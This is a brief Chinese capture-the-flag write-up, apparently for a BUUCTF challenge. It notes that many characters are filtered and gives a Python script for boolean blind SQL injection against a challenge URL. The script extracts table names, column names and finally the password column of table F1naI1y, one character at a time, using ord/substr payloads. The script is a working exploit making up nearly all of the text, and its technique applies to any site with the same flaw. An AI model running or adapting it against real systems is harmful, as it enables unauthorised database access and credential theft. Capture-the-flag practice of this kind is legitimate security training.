过滤了一堆东西,没什么好说的,就是盲注

    1. import requests
    2. import time
    3. url = "http://f6e6340e-3748-4805-baa9-a4ec0a81aabd.node3.buuoj.cn/search.php?id=0^"
    4. count=1
    5. table_name=''
    6. while True:
    7. for i in range(33,137):
    8. # payload = f"(ord((substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{count},1)))={i})#"
    9. # payload = f"(ord((substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{count},1)))={i})#"
    10. payload = f"(ord((substr((select(group_concat(password))from(F1naI1y)),{count},1)))={i})#"
    11. r=requests.get(url+payload)
    12. if "others" in r.text:
    13. table_name+=chr(i)
    14. count+=1
    15. print(table_name)
    16. break

    用脚本分别跑出表名,列名,最后跑出字段的值即可。
    buu平台跑脚本的速度不能太快太伤了,跑个表要好久。